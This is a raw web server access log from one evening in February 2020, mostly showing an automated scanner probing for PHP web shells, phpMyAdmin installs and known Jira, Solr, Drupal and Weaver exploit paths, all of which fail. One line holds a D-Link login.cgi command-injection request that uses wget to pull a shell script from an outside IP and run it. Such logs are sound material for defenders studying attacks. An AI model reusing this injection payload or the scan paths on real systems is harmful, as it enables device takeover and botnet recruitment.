193.112.9.107 - - [28/Feb/2020:20:59:13 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:14 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:15 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:16 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:17 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:17 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:17 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:18 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:19 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:20 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:21 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:21 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:21 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:21 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:22 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:23 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:24 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:24 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:25 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:25 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:25 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:25 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:26 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:26 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:26 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:27 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:29 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:29 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:29 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:29 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:30 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:33 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:33 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:34 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:35 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [28/Feb/2020:20:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:20:59:37 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:37 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:37 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:38 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:39 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:39 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:40 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:41 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:41 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:41 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:41 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:41 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:42 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:42 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:45 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:45 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:45 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:45 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:46 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:46 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:47 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:48 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
193.112.9.107 - - [28/Feb/2020:21:00:09 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
27.216.245.215 - - [28/Feb/2020:21:00:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
193.112.9.107 - - [28/Feb/2020:21:00:33 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:21:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:21:00:57 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
193.112.9.107 - - [28/Feb/2020:21:01:21 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:21:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:21:01:45 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
193.112.9.107 - - [28/Feb/2020:21:02:09 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
193.112.9.107 - - [28/Feb/2020:21:02:33 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:21:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:21:02:57 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
193.112.9.107 - - [28/Feb/2020:21:03:21 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:21:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:21:03:45 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
193.112.9.107 - - [28/Feb/2020:21:03:45 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
193.112.9.107 - - [28/Feb/2020:21:03:45 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
193.112.9.107 - - [28/Feb/2020:21:03:46 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
193.112.9.107 - - [28/Feb/2020:21:03:48 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
193.112.9.107 - - [28/Feb/2020:21:04:09 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [28/Feb/2020:21:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:21:06:01 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:01 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:01 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:02 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:02 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:04 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:05 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:05 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:05 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:05 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:06 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:09 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:09 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:09 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:09 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:10 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:10 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:12 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:13 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:13 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:13 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:13 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:13 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:14 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:14 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:15 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:16 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:16 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:16 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:17 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:17 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:17 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:17 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:18 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:18 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:18 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:19 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:21 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:21 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:21 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:22 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:23 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:24 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:25 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:25 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:25 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:26 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:27 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:29 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:29 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:29 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:30 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:31 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:32 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
